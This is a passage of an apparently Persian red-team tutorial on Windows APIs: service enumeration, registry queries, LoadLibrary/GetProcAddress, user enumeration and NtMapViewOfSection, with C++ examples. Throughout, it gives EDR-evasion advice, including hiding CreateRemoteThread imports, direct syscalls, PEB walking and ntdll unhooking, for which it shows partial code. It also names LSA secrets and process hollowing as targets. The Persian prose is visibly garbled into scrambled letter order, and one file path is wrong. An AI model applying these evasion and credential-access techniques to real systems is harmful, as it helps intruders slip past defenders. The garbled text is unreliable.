 نادرست یکربندیپ ای ریپذبیآس یهاسیسرو ییشناسا 

 یاحتمال یماندگار یهازمیمکان ییشناسا 

 مانند ربودن  هاسیسوء استفاده از سرو(DLLسطح  شیافزا شن،یبدون کوت یرهای، مس

 (یدسترس

 تابع نمونه
BOOL EnumServicesStatusEx( 
  SC_HANDLE hSCManager, 
  SC_ENUM_TYPE InfoLevel, 
  DWORD dwServiceType, 
  DWORD dwServiceState, 
  LPBYTE lpServices, 
  DWORD cbBufSize, 
  LPDWORD pcbBytesNeeded, 
  LPDWORD lpServicesReturned, 
  LPDWORD lpResumeHandle, 
  LPCWSTR pszGroupName 

);  

 :پارامترها

 hSCManager هندل برگرفته از :OpenSCManager() 

 InfoLevel مقدار :SC_ENUM_PROCESS_INFO اطلاعات مرتبط با پردازش افتیدر یبرا 
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 dwServiceType استفاده از :SERVICE_WIN32 یمعمول یهاسیسرو یبرا 

 dwServiceState استفاده از :SERVICE_STATE_ALL ای SERVICE_ACTIVE 

 lpServicesآراکه داده ی: بافر( از  یاهیهاENUM_SERVICE_STATUS_PROCESSرا در )افتی 

 کندیم

 cbBufSize بافر: اندازه 

 pcbBytesNeeded کندیم افتیرا در موردنیاز: در صورت کوچک بودن بافر، اندازه 

 lpServicesReturnedبازگردانده شده یهاسی: تعداد سرو 

 lpResumeHandleیبندصفحه ی: برا (paginationاستفاده م )شودی 

 pszGroupNameمعمولاً  یاریگروه اخت لتری: ف(NULL) 

 ENUM_SERVICE_STATUS_PROCESS: ساختار
typedef struct _ENUM_SERVICE_STATUS_PROCESSW { 
  LPWSTR lpServiceName; 
  LPWSTR lpDisplayName; 
  SERVICE_STATUS_PROCESS ServiceStatusProcess; 
} ENUM_SERVICE_STATUS_PROCESSW;  

 :شامل

 lpServiceNameسی( سروی: نام کوتاه )داخل 

 lpDisplayNameسیدوستانه سرو یشی: نام نما 

 ServiceStatusProcess.dwCurrentStateمثلاً  سیسرو تی: وضع(SERVICE_RUNNING) 

 ServiceStatusProcess.dwProcessId: سیشناسه پردازش سرو 
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 هاآن تیو وضع هاسیتمام سرو ستلی – ++C مثال
#include <Windows.h> 

#include <Winsvc.h> 

#include <iostream> 

 

int main() { 
    SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, 

SC_MANAGER_ENUMERATE_SERVICE); 
    if (!hSCManager) { 
        std::cerr << "OpenSCManager failed." << 

std::endl; 
        return 1; 
    } 
 

    DWORD bytesNeeded = 0, servicesReturned = 0, 

resumeHandle = 0; 
    EnumServicesStatusEx( 
        hSCManager, 
        SC_ENUM_PROCESS_INFO, 
        SERVICE_WIN32, 
        SERVICE_STATE_ALL, 
        NULL, 
        0, 
        &bytesNeeded, 
        &servicesReturned, 
        &resumeHandle, 
        NULL 
    ); 
 

    LPBYTE buffer = new BYTE[bytesNeeded]; 
    if (EnumServicesStatusEx( 
        hSCManager, 
        SC_ENUM_PROCESS_INFO, 
        SERVICE_WIN32, 
        SERVICE_STATE_ALL, 
        buffer, 
        bytesNeeded, 
        &bytesNeeded, 
        &servicesReturned, 

        &resumeHandle, 
        NULL 
    )) { 
        LPENUM_SERVICE_STATUS_PROCESS services = 

(LPENUM_SERVICE_STATUS_PROCESS)buffer; 
        for (DWORD i = 0; i < servicesReturned; ++i) { 
            std::wcout << L"Service: " << 

services[i].lpServiceName << std::endl;  
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            std::wcout << L"Display Name: " << 

services[i].lpDisplayName << std::endl; 
            std::wcout << L"State: "; 
            switch 

(services[i].ServiceStatusProcess.dwCurrentState) { 
                case SERVICE_RUNNING: std::wcout << 

L"Running"; break; 
                case SERVICE_STOPPED: std::wcout << 

L"Stopped"; break; 
                case SERVICE_PAUSED: std::wcout << 

L"Paused"; break; 
                default: std::wcout << L"Other"; break; 
            } 
            std::wcout << L" | PID: " << 

services[i].ServiceStatusProcess.dwProcessId << 

std::endl; 
            std::wcout << std::endl; 
        } 
    } else { 
        std::cerr << "EnumServicesStatusEx failed." << 

std::endl; 
    } 
 

    delete[] buffer; 
    CloseServiceHandle(hSCManager); 
    return 0; 
}  

 قرمز میاستفاده در ت موارد

 مثال هدف

 شوندیاجرا م فیضع یمجوزها ای SYSTEMکه با  ییهاسیکردن سرو دایپ یسطح دسترس شیافزا
 اندازخودراه یهاسیدر سرو هاینریبا ینیگزیجا ای قیتزر یماندگار
 کد قیتزر یپردازش برا یهاو شناسه هاسینگاشت ارتباط سرو کشف

 یاهسیسرو ،یریگبانیثالث )مثل عوامل پشت موتیر یابزارها یبررس یجانب حرکت
RDP) 

 OPSECو  EDR ملاحظات
 نیا API ستیخود مشکوک ن یبه خود. 

 معتبر مانند  یتوسط ابزارهاTask Manager ،services.msc استفاده  ستمیس یتورهایو مان

 .شودیم
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 ایشده  قیکد تزر)مثلاً شل رمعمولیغ یهاینریاز با یممکن است در صورت فراخوان 

 کند. جادیناآشنا( هشدار ا یهاینریبا

 یکارپنهان یبرا: 

o EnumServicesStatusEx  دیحل کن کینامیدا صورتبهرا 

o کردیاز رو syscall قیاز طر میرمستقیکردن غ)فهرست دیاستفاده کن میمستق 

 (NtQuerySystemInformationو  SCM یهاهندل
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 RegOpenKeyEx / RegQueryValueEx - یکاربرد یهامثال

 هدف

و در هر دو حالت  شوندیاستفاده م ندوزیو یستریاز رج ریخواندن مقاد یها براAPI نیا

 دارند، مانند: یادیحمله و دفاع کاربرد ز
 شده(نصب یافزارهانرم عامل،ستمی)مثلاً نسخه س ستمیس یکربندیاطلاعات پ یآورجمع 

 یداریپا یدهایکل یبررس AutoRun 

 شدهنصب یبدافزارها ایشده استخراج اطلاعات ورود، اطلاعات کش 

 مثل  یتیامن ماتیتنظ یبررسUAC تیو وضع Defender 

قرار  Advapi32.dll لیهستند و در فا Win32 Registry APIها جزو مجموعه API نیا

 دارند.

 RegOpenKeyEx: تابع
LSTATUS RegOpenKeyExW( 
  HKEY    hKey, 
  LPCWSTR lpSubKey, 
  DWORD   ulOptions, 
  REGSAM  samDesired, 
  PHKEY   phkResult 

);  

 پارامترها

 hKey :مانند  شده،فیتعر شیاز پ شهیر دیکل کیHKEY_LOCAL_MACHINE ای 
HKEY_CURRENT_USER 

 lpSubKeyباز شود دیکه با یدیرکلیز ری: مس 

 ulOptions 0: معمولاً مقدار 

 samDesiredمعمولاً  موردنظر ی: سطح دسترس(KEY_READ) 

 phkResultشودیبازشده بازگردانده م دیکه به کل ی: هندل 
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 RegQueryValueEx: تابع
LSTATUS RegQueryValueExW( 
  HKEY    hKey, 
  LPCWSTR lpValueName, 
  LPDWORD lpReserved, 
  LPDWORD lpType, 
  LPBYTE  lpData, 
  LPDWORD lpcbData 

);  

 پارامترها

 hKeyکه از تابع  ی: هندلRegOpenKeyEx شده افتیدر 

 lpValueNameدیمقدارش را بخوان دیخواهیکه م ی: نام مقدار 

 lpTypeمثلاً  گرداندی: نوع داده را برم(REG_SZ ،REG_DWORD) 

 lpDataشودیم رهیها در آن ذخکه داده ی: بافر 

 lpcbDataشودیم یروزرسانداده به یکه بعد از خواندن، با اندازه واقع تی: اندازه بافر به با 

 ندوزوی نسخه خواندن – ++C مثال

 .دهدیم شیرا نما عاملستمیخوانده و نسخه س یستریرا از رج ProductNameکد مقدار  نیا

#include <Windows.h> 

#include <iostream> 

 

int main() { 
    HKEY hKey; 
    const wchar_t* subKey = 

L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"; 
 

    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, subKey, 0, 

KEY_READ, &hKey) == ERROR_SUCCESS) { 
        wchar_t value[256]; 
        DWORD value_length = sizeof(value); 
        DWORD type = 0; 
 

        if (RegQueryValueExW(hKey, L"ProductName", 

nullptr, &type, (LPBYTE)value, &value_length) == 

ERROR_SUCCESS) { 
            std::wcout << L"Windows Version: " << value 

<< std::endl; 

        } else {  
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            std::wcerr << L"Failed to query value." << 

std::endl; 
        } 
 

        RegCloseKey(hKey); 
    } else { 
        std::wcerr << L"Failed to open registry key." << 

std::endl; 
    } 
 

    return 0; 
}  

 (HKEY) یستریرج جیرا یهاشهیر

 حیتوض دیکل

HKEY_LOCAL_MACHINE (هاوریافزار، درانرم ستم،ی)س نیماش یسراسر ماتیتنظ 

HKEY_CURRENT_USER (یداریها، پابرنامه ها،لی)پروفا یکاربر جار ماتیتنظ 

HKEY_CLASSES_ROOT یایو اش هالیارتباط فا COM 

HKEY_USERS یکاربر یهالیهمه پروفا یستریرج 

HKEY_CURRENT_CONFIG یفعل یافزارسخت لیپروفا 

 قرمز میاستفاده ت موارد

 مثال هدف

 زبانینام م ،یمعمار عامل،ستمیخواندن نسخه س طیمح ییشناسا

در  ریمقاد میتنظ ای یبررس یداریپا
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 

به  یدسترس
 اعتبارنامه

ها و هش یبرا HKLM\SYSTEM\CurrentControlSet\Control\Lsaوجو در پرس
 اسرار

 HKLM\Software\Microsoft\Windowsدر  Defender تیوضع یبررس از دفاع فرار

Defender 
نصب شده از  یافزارهاشمارش نرم افزارنرم فهرست

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall 

 صیو تشخ OPSEC نکات

 نیا APIهستند. شدهاستفاده اریو بس یها قانون 

 EDRمثلاً اسرار  یستریبه رج یها ممکن است دسترس( در مناطق حساسLSAیدهای، کل Run )

 کنند. شیرا پا

 یکارپنهان یبرا: 
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o جایبه HKCUرا تحت  دهای، کلHKEY_USERS  باSID  ًمثلا(S-1-5-21…دسترس )ی 

 دیکن دایپ

o  ازNtOpenKey / NtQueryValueKey دیاستفاده کن ترنییسطح پا یدسترس یبرا 
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 LoadLibraryA / LoadLibraryW - یکاربرد یهامثال

 یکل یمرور

 DLL کی یبارگذار یهستند که برا ندوزیو یاصل یهاAPIاز  LoadLibraryWو  LoadLibraryA یهاتابع

 صورتبهشده و  فیتعر kernel32.dllتوابع در  نی. اشوندیآدرس پردازش فراخواننده استفاده م یدر فضا

 .کنندیم یرا فراخوان ntdll.dllاز  LdrLoadDllتابع  یداخل

 یتهاجم یهاکیزمان اجرا( و تکن یهاماژول ورها،یها، درا)مثل افزونه یقانون یافزارهاتوابع در نرم نیا

 دارند، مانند: یمهم یکاربردها زین

 قیتزر Reflective DLL 
 یبارگذار DLL  به روشSideloading 

 بدافزار یبارگذار یجرهایاست 

  مدولار کردنPayload 

 صیو دور زدن تشخ ینگاشت دست 

 توابع فیتعار

HMODULE LoadLibraryA(LPCSTR lpLibFileName); 
HMODULE LoadLibraryW(LPCWSTR lpLibFileName);  

 LoadLibraryA رشته  یورودANSI ردیگیم 

 LoadLibraryW ردیگیم کدیونیرشته  یورود 

  ،آدرس پا کیهر دو( هیهندل DLL برم یبارگذار )ای گردانندیشده NULL در صورت شکست 

 (Windows Loader) یداخل رفتار
 :شودیم یفراخوان *LoadLibrary یوقت

 :شودیانجام م ریز بیبه ترت DLL ریمس یجستجو .1

 شده یکه برنامه از آن بارگذار یایرکتوریدا 

 مثل  ستمیس یرکتوریدا(C:\Windows\System32) 

 (یمیقد یسازگار ی)برا یتیب16 ستمیس یرکتوریدا 

 ندوزیو یرکتوریدا 

 یجار یرکتوریدا 

 یطیمح ریشده در متغ ستیل یهایرکتوریدا PATH 
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2. DLL  با استفاده ازntdll!LdrLoadDll ازیو در صورت ن شودیبه حافظه نگاشت م relocation 

 شودیانجام م

 شوندیحل م Import Address Table (IAT) قیاز طر هایوابستگ .3

 شودیم یفراخوان DLL_PROCESS_ATTACHبا حالت  DLL (DllMain)نقطه ورود  .4

 شودیهندل بازگردانده م عنوانبه DLL هیآدرس پا ت،یدر صورت موفق .5

 LoadLibraryWو  LoadLibraryA تفاوت
 LoadLibraryA یهارشته یبرا ANSI رشته(یها ASCIIاست ) 

 LoadLibraryW دکیونی یهارشته یبرا (wide-characterاست و در برنامه )مدرن  یها

 شودیداده م حیترج

 یهاو نام یطولان یرهایبهتر مس یبانیتا از پشت دیاستفاده کن LoadLibraryWاز  دیکن یسع شهیهم

 .دیبهره ببر DLL یالمللنیب

 LoadLibraryWبا  ++Cساده  مثال
#include <Windows.h> 

#include <iostream> 

 

int main() { 
    const wchar_t* dllPath = 

L"C:\\Windows\\System32\\user32.dll"; 
 

    HMODULE hMod = LoadLibraryW(dllPath); 
 

    if (hMod) { 
        std::wcout << L"Successfully loaded: " << 

dllPath << std::endl; 
        std::wcout << L"Base address: " << hMod << 

std::endl; 
        FreeLibrary(hMod); // Optional 
    } else { 
        std::wcerr << L"Failed to load DLL." << 

std::endl; 
    } 
 

    return 0; 
}  

 GetProcAddressبا  کینامیدا صورتبهتوابع  یبارگذار

 :دیکن یفراخوان کینامیدا صورتبهتوابع داخل آن را  دیتوانی، مLoadLibraryبا  DLL یاز بارگذار بعد



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

102 

 

typedef int (WINAPI* MSGBOXW)(HWND, LPCWSTR, LPCWSTR, 

UINT); 
 

HMODULE user32 = LoadLibraryW(L"user32.dll"); 
MSGBOXW myMsgBox = (MSGBOXW)GetProcAddress(user32, 

"MessageBoxW"); 
myMsgBox(NULL, L"Dynamic call successful", L"Info", 

MB_OK);  

استفاده از جدول  جایبهها در زمان اجرا API یفراخوان یکدها و بدافزارها برابندها، شلروش در بسته نیا

 ( معمول است.Import Tableواردات )

 و بدافزار Red Teamدر  کاربردها

 کاربرد کیتکن

Reflective DLL Injection ینگاشت دست DLL یبا منطق سفارش یو بارگذار 

Stagers & Loaders در زمان اجرا یاضاف یاجزا یبارگذار 

Packers / AV Evasion  استفاده ازLoadLibrary  وGetProcAddress حل  یبراAPI ها
 کینامیدا صورتبه

DLL Sideloading یبارگذار DLLسوءاستفاده از  ایمعتبر  یرهایمخرب از مس یها
 هاDLL یبارگذار بیترت

Living off the Land (LOLBin) مثل  یستمیس یهاینریاستفاده از باrundll32.exe  که خود
LoadLibrary کنندیم یرا فراخوان 

 یسفارش ریبا مس LoadLibraryA: شرفتهیپ مثال

#include <Windows.h> 

#include <iostream> 

int main() { 
    const char* dllPath = 

"C:\\Users\\Public\\mydll.dll"; 

    HMODULE hDll = LoadLibraryA(dllPath); 

    if (hDll) { 
        std::cout << "Loaded DLL at base address: " << 

hDll << std::endl; 
        FreeLibrary(hDll); 
    } else { 
        std::cerr << "Failed to load DLL. Error code: " 

<< GetLastError() << std::endl; 
    } 

    return 0; 
}  

 .دیاستفاده کن ()GetLastErrorاز  ،یرفع اشکال بارگذار یبرا
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 LoadLibraryشکست  جیرا لیدلا

 DLL شودینم دایجستجو پ ریدر مس 

  فرمتDLL مثلاً  ستیمعتبر ن(PE ستین) 

 اندگمشده هایوابستگ 

 توسط  یبارگذارWindows Defender ای AppLocker مسدود شده 

 یتیب 64 ای 32نسخه  یناسازگار 

  نامعتبر نقطه ورود  یامضا ایکرشDLL 

 LoadLibraryو دور زدن  یدست نگاشت

را در  DLL یدست صورتبهآن  جایبهو  کنندیاستفاده نم LoadLibraryاز  Red Team شرفتهیپ یابزارها

 :کنندیحافظه نگاشت م

 یهدرها لیتحل PE 

 ها به حافظهنگاشت بخش 

  اصلاحrelocations 
 یدست صورتبه هایحل وابستگ 

 میمستق یفراخوان DllMain 

 تر شود.سخت kernel32!LoadLibrary یرو hooksتوسط  صیتشخ شودیکار باعث م نیا

 کیواردات استات جایبهتوابع  کینامیدا ی: بارگذارمثال

 :دیکن یفراخوان کینامیرا دا هاآن، CreateRemoteThreadتوابع حساس مثل  واردکردن جایبه

HMODULE hKernel32 = LoadLibraryW(L"kernel32.dll"); 
auto pCreateRemoteThread = 

(LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, 

"CreateRemoteThread"); 
 

if (pCreateRemoteThread) { 
    // call dynamically 
}  

 متوجه نشوند. کیاستات لیتحل ینباشد و ابزارها Import Address Tableتابع در  شودیکار باعث م نیا

 LoadLibraryبدون  PEBاسکن  نیگزیجا

 :توانیم LoadLibraryدور زدن  یبرا



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

104 

 

 شده را از  یبارگذار یهاماژولProcess Environment Block (PEB) فهرست کرد 

 ستیل loader کرد شیمایرا پ 

  نامDLLکرد دایها را پ 

  ازGetProcAddress شده استفاده کرد یبارگذار یهاماژول یرو 

استفاده  DLL یبارگذار یهاhookدور زدن  یبرا شرفتهیپ C2 یهامورکیروش توسط بدافزارها و فر نیا

 .شودیم

 ییو شناسا OPSEC نکات

 حیتوض سکیر

 hook ایممکن است لاگ  LoadLibrary یفراخوان بودن EDRنظر  ریز
 شود

DLLیبارگذار مشکوک یها DLLبدون امضا  ای رمعمولیغ یها

 دارد ییبالا سکیر

با  یبارگذار ای PEBاسکن  ،مبهم سازیاستفاده از  راهکارها
syscall 

 loader یهاAPIبدون استفاده از  ینگاشت دست هانیگزیجا

 

 یتهاجم اتیدر عمل LoadLibrary تی: اهمخلاصه

 یهسته بارگذار DLL  و مدولار کردنpayloadها 

 توابع در زمان اجرا کینامیدا یامکان فراخوان 

 و مخرب یقانون یافزارهااستفاده گسترده در نرم 

 یدور زدن با نگاشت دست تیقابل، syscall یخطکد درونشل ای میمستق 
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 NetUserEnum / NetUserGetInfo - یکاربرد یهامثال

 هدف
 افتیو در یکاربر یهافهرست کردن حساب یهستند، برا NetAPI32از کتابخانه  یدو تابع که بخش نیا

 مانند: شوند،یاستفاده م هاآندرباره  قیاطلاعات دق

 یکاربر یهانام 

 قفل شده( رفعال،یحساب )فعال، غ تیوضع 

 زمان ورود نیآخر 

 کاربر استاندارد، مهمان( ستم،یس ری)مد یسطح دسترس 

 گذرواژه یهااستیها و سدر گروه تیعضو 

 هستند: یاتیح ریموارد ز یها براAPI نیا

 یبردارپس از بهره یبردارفهرست 

 ینقشه ارتقاء سطح دسترس میترس 

 یهدف در حرکت جانب ییشناسا 

 اطلاعات دامنه یآورو جمع ییشناسا 

 بر توابع یمرور
NetUserEnum 

 .کندیدامنه مشخص فهرست م ای وتریکامپ کی یرا رو یکاربر یهاحساب

NET_API_STATUS NetUserEnum( 
  LPCWSTR servername, 
  DWORD level, 
  DWORD filter, 
  LPBYTE *bufptr, 
  DWORD prefmaxlen, 
  LPDWORD entriesread, 
  LPDWORD totalentries, 
  LPDWORD resume_handle 

);  

 servernameایراه دور  وتری: کامپ NULL یمحل وتریکامپ یبرا 

 level(2 ای 1، 0) یبازگشت اتیجزئ زانی: م 

 filterمثلاً  لتری: ف( نوع حسابFILTER_NORMAL_ACCOUNT) 
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 bufptr(یکاربر یاز ساختارها یاهی)آرا یبه بافر خروج یگر: اشاره 

 entriesread / totalentriesشدهدادهبازگشت  یچند ورود دهدیکه نشان م یخروج ری: مقاد 

 resume_handle(یاریبزرگ )اخت جینتا یبندصفحه ی: برا 

NetUserGetInfo 
 .کندیم یابیرا باز وتریکامپ یکاربر خاص رو کیدرباره  اطلاعات

NET_API_STATUS NetUserGetInfo( 
  LPCWSTR servername, 
  LPCWSTR username, 
  DWORD level, 
  LPBYTE *bufptr 
);  

 level(2 ای 1)معمولاً  اتیسطح جزئ کنندهنیی: تع 

 مانند  یساختارUSER_INFO_1 ،USER_INFO_2 گرداندیرا باز م رهیو غ 

 یدیکل یساختارها

USER_INFO_0 

 است. یشامل نام کاربر فقط

typedef struct _USER_INFO_0 { 
  LPWSTR usri0_name; 
} USER_INFO_0;  

USER_INFO_1 

 .شودیها را شامل مو پرچم یمانند سن گذرواژه، سطح دسترس یشتریب اتیجزئ

typedef struct _USER_INFO_1 { 
  LPWSTR usri1_name; 
  LPWSTR usri1_password; 
  DWORD  usri1_password_age; 
  DWORD  usri1_priv; 
  LPWSTR usri1_home_dir; 
  LPWSTR usri1_comment; 
  DWORD  usri1_flags; 
  LPWSTR usri1_script_path; 
} USER_INFO_1;  
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 اطلاعات کاربر شنمای و کردنفهرست – ++C نمونه
#include <Windows.h> 

#include <Lm.h> 

#include <iostream> 

 

#pragma comment(lib, "Netapi32.lib") 

 

int main() { 
    LPUSER_INFO_1 pBuf = NULL; 
    DWORD entriesRead = 0, totalEntries = 0; 
    NET_API_STATUS status = NetUserEnum( 
        NULL, // local computer 
        1,    // level 1 = USER_INFO_1 
        FILTER_NORMAL_ACCOUNT, // filter for normal user 

accounts 
        (LPBYTE*)&pBuf, 
        MAX_PREFERRED_LENGTH, 
        &entriesRead, 
        &totalEntries, 
        NULL 
    ); 
 

    if (status == NERR_Success && pBuf != NULL) { 
        for (DWORD i = 0; i < entriesRead; ++i) { 
            std::wcout << L"Username: " << 

pBuf[i].usri1_name << std::endl; 
            std::wcout << L"Privilege: " << 

(pBuf[i].usri1_priv == USER_PRIV_ADMIN ? 

L"Administrator" : L"Standard User") << std::endl; 
            std::wcout << L"Flags: " << 

pBuf[i].usri1_flags << std::endl; 
            std::wcout << L"Comment: " << 

(pBuf[i].usri1_comment ? pBuf[i].usri1_comment : 

L"(none)") << std::endl; 
            std::wcout << std::endl; 
        } 
    } else { 
        std::wcerr << L"NetUserEnum failed with error 

code: " << status << std::endl; 
    } 
    if (pBuf) { 
        NetApiBufferFree(pBuf); 
    } 
    return 0; 
}  
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 (usri1_flagsمهم ) یهاپرچم
 .کنندیم فیرا تعر هااستیحساب و س تیها وضعپرچم نیا

 حیتوض پرچم
UF_ACCOUNTDISABLE است رفعالیحساب غ 

UF_PASSWD_NOTREQD ستیگذرواژه لازم ن 
UF_LOCKOUT قفل شده است استیس لیحساب به دل 

UF_DONT_EXPIRE_PASSWD شودینم یگذرواژه هرگز منقض 
 :دیاستفاده کن تیببهتیب ANDپرچم، از عملگر  یبررس یبرا

if (pBuf[i].usri1_flags & UF_ACCOUNTDISABLE) { 
    std::wcout << L"Account is disabled" << std::endl; 
}  

 قرمز میاستفاده در ت موارد
 نادرست یکربندیپ ای ریمد یبا دسترس ییهاحساب ییشناسا 

 که ممکن است ربوده شوند رفعالیغ ای یمیقد یهاکشف حساب 

 رفعالیغ یبا انقضا ایبدون گذرواژه  بانیپشت ای سیسرو یهاحساب یجستجو 

 با  بیترکNetLocalGroupGetMembers میها جهت ترسدر گروه تیاستخراج عضو یبرا 

 هاینقشه دسترس

 EDRو دور زدن توسط  صیتشخ
 نیا APIشوندیاستفاده م ستمیس رانیهستند و اغلب توسط مد یها قانون 

 تحت نظارت  رمعمولیدر صورت استفاده غ یبردارپس از بهره یوهایممکن است در سنار

 باشند

 از  یفراخوان جایبه ایحل کرد  ایپو صورتبهآدرس تابع را  توانیم ،یکارپنهان یبرا

Netapi32.dll  ازsyscalls استفاده کرد میمستق 



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

109 

 

 NtMapViewOfSection / NtUnmapViewOfSection -  یکاربرد یهامثال

 هدف

شده نگاشته لیبخش )فا کی( Unmapکردن نگاشت )خارج ای( Mapنگاشت ) یبرا NT یبوم APIدو  نیا

 .وندشیپردازش استفاده م کی یآدرس مجاز ی( در فضاییاجرا ریتصو کی ای ،یدر حافظه، حافظه اشتراک

 :جیاستفاده را موارد

 DLL Hollowing / Process Hollowing 
 Unhook  کردنNTDLL (زینسخه تم ی)بازنگار 

 یبارگذار DLL ی/ دست یبازتاب صورتبه (Reflective/Manual Mapping) 

 Stagerمانند  ستمیس میمستق یفراخوان یها(Hell's Gate ،SysWhispers) 

 بدافزار که از  یبارگذار یهاکیتکنLoadLibrary  کنندیعبور م ندوزیو بار گذارو 

NtMapViewOfSection – تابع یامضا 
NTSYSCALLAPI NTSTATUS NtMapViewOfSection( 
  HANDLE          SectionHandle, 
  HANDLE          ProcessHandle, 
  PVOID           *BaseAddress, 
  ULONG_PTR       ZeroBits, 
  SIZE_T          CommitSize, 
  PLARGE_INTEGER  SectionOffset, 
  PSIZE_T         ViewSize, 
  DWORD           InheritDisposition, 
  ULONG           AllocationType, 
  ULONG           Win32Protect 

);  

 :یدیکل یپارامترها

 حیتوض پارامتر

SectionHandle  ساخته کیهندل به( شده با بخشNtCreateSection) 

ProcessHandle راه دور( ای یهندل پردازش هدف )محل 

BaseAddress (یاری)اخت موردنظر هیگر به آدرس پااشاره 

ZeroBits  ًبرا 0معمولا(آدرس در  یترازهم یx86) 

CommitSize دیکه با یاحداقل اندازه Commit  ً(0شود )معمولا 

SectionOffset افست شروع نگاشت در بخش 

ViewSize (ی/خروجیاندازه نگاشت )ورود 

InheritDisposition ViewUnmap ای ViewShare 
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AllocationType  ً0معمولا 

Win32Protect مانند  یهاپرچم( حفاظت حافظهPAGE_EXECUTE_READ) 

 .گرداندی( باز م0) STATUS_SUCCESSمقدار  تیصورت موفق در

NtUnmapViewOfSection – تابع یامضا 
NTSYSCALLAPI NTSTATUS NtUnmapViewOfSection( 
  HANDLE ProcessHandle, 
  PVOID  BaseAddress 

);  

  بخش قبلاً  کینگاشتMap کندیشده را از پردازش هدف خارج م 

 در  جیراProcess Hollowing پردازش معلق( کیحافظه  ینیگزی)جا 

 استفاده: یکل روند

 مشابه ای NtCreateSection ،CreateFileMappingبخش با استفاده از  کیبازکردن  ایساخت  .1

 NtMapViewOfSectionنگاشت بخش به حافظه با  .2

 شدهنگاشته هیها در ناحداده رییتغ ای یکپ از،یدر صورت ن .3

 پس از اتمام کار NtUnmapViewOfSectionکردن نگاشت با خارج  .4

 NTDLL زینسخه تم بازنگاری – یعمل مثال

 .EDR یهاHookعبور از  یبه حافظه برا سکیاز د ntdll.dll زیدوباره نسخه تم ی: بارگذارهدف

 :مراحل

 CreateFileبا  C:\Windows\System23\ntdll.dll لیبازکردن فا .1
 NtCreateSectionساخت بخش با  .2

 NtMapViewOfSectionنگاشت بخش با  .3

 در حافظه پردازش ntdllنسخه موجود  یرو text.کردن بخش  یکپ .4

 NtUnmapViewOfSectionبا  زیکردن نگاشت بخش تمخارج .5
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 به حافظه ntdll.dll نگاشت – ++Cکد ساده  نمونه

#include <Windows.h> 

#include <winternl.h> 

#include <iostream> 

 

typedef NTSTATUS(NTAPI* pNtMapViewOfSection)( 
    HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, 

PLARGE_INTEGER, 
    PSIZE_T, DWORD, ULONG, ULONG 
); 
 

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, 

PVOID); 
 

int main() { 
    HANDLE hFile = 

CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", 

GENERIC_READ, 
        FILE_SHARE_READ, NULL, OPEN_EXISTING, 

FILE_ATTRIBUTE_NORMAL, NULL); 
 

    if (hFile == INVALID_HANDLE_VALUE) { 
        std::cerr << "Failed to open ntdll.dll" << 

std::endl; 
        return 1; 
    } 
 

    HANDLE hSection = NULL; 
    NTSTATUS status = NtCreateSection( 
        &hSection, SECTION_MAP_READ, NULL, 
        0, PAGE_READONLY, SEC_IMAGE, hFile 
    ); 
 

    if (!NT_SUCCESS(status)) { 
        std::cerr << "NtCreateSection failed" << 

std::endl; 
        CloseHandle(hFile); 
        return 1; 
    } 

    SIZE_T viewSize = 0; 
    PVOID baseAddress = NULL; 
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); 

    pNtMapViewOfSection NtMap = 

(pNtMapViewOfSection)GetProcAddress( 
        GetModuleHandleW(L"ntdll.dll"), 

"NtMapViewOfSection" 
    );  
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    status = NtMap(hSection, GetCurrentProcess(), 

&baseAddress, 0, 0, NULL, 
        &viewSize, ViewUnmap, 0, PAGE_READONLY); 
 

    if (NT_SUCCESS(status)) { 
        std::wcout << L"Clean ntdll mapped at: " << 

baseAddress << std::endl; 
 

        // You can now read .text section or patch over 

existing ntdll 
        // ... 
 

        pNtUnmapViewOfSection NtUnmap = 

(pNtUnmapViewOfSection)GetProcAddress( 
            GetModuleHandleW(L"ntdll.dll"), 

"NtUnmapViewOfSection" 
        ); 
        NtUnmap(GetCurrentProcess(), baseAddress); 
 

    } else { 
        std::cerr << "NtMapViewOfSection failed" << 

std::endl; 
    } 
 

    CloseHandle(hSection); 
    CloseHandle(hFile); 
    return 0; 
}  

آن را  دیتوانیدر دسترس است. م ntdll.dll قیمستند نشده است اما از طر NtCreateSection: ادداشتی

 .دیینما یبارگذار GetProcAddressبا  ای دیکن فیتعر یصورت دستبه

 قرمز / بدافزار میاستفاده در ت موارد
 حیتوض کیتکن

DLL Hollowing Unmap  کردنDLL با  یاصلNtUnmapViewOfSection  و نگاشت

 افتهی ریینسخه تغ

Unhook  کردنNTDLL زیدوباره نسخه تم یبارگذار ntdll.dll بخش . یسیو بازنوtext 

Process Hollowing Unmap قیپردازش معلق و تزر ریکردن تصو Shellcode 

 از بافر حافظه PE یهالیفا ینگاشت بازتاب حافظهدرون یبارگذارها

Shellcode Reflectors یبارگذار Payloadسکیبدون لمس د یسفارش یها 
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 OPSECو  صیتشخ
 یینقطه شناسا سکیر

NtMapViewOfSection ریصاوت اینگاشت حافظه  رییتغ یممکن است برا 
 تحت نظارت باشد

 ای SEC_IMAGEاز  یرعادیغ استفاده
PAGE_EXECUTE_READWRITE 

 کند جادیا یهشدار رفتار تواندیم

ممکن است در صورت انجام توسط پردازش  شدهشناخته یستمیس یهاDLL نگاشت

 باعث هشدار شود اعتمادرقابلیغ

NtUnmapViewOfSection یهاپردازش یرو 
 یخارج

 و ... Process Hollowing ،RunPEدر  جیرا

 

 یهاHookعبور از  ی( براSSNو  syscall; ret)با دستور  Syscall میمستق یهاStub: از یکارپنهان نکته

User-mode مانند  یی. ابزارهادیاستفاده کنSysWhispers ،TartarusGate ای Heaven's Gate امکان  نیا

 .کنندیرا فراهم م

 :خلاصه

 NtMapViewOfSection کیه ( را بریبر تصو یمبتن بان،یپشتلیفا ،یها )حافظه اشتراکبخش 

 .کندیش نگاشت مپرداز

 NtUnmapViewOfSection کندیرا حذف م هاآن. 

 یو برا کنندیحافظه را فراهم م نشیبر چ قیتوابع کنترل دق نیا Loaderو  کاریمخف یها

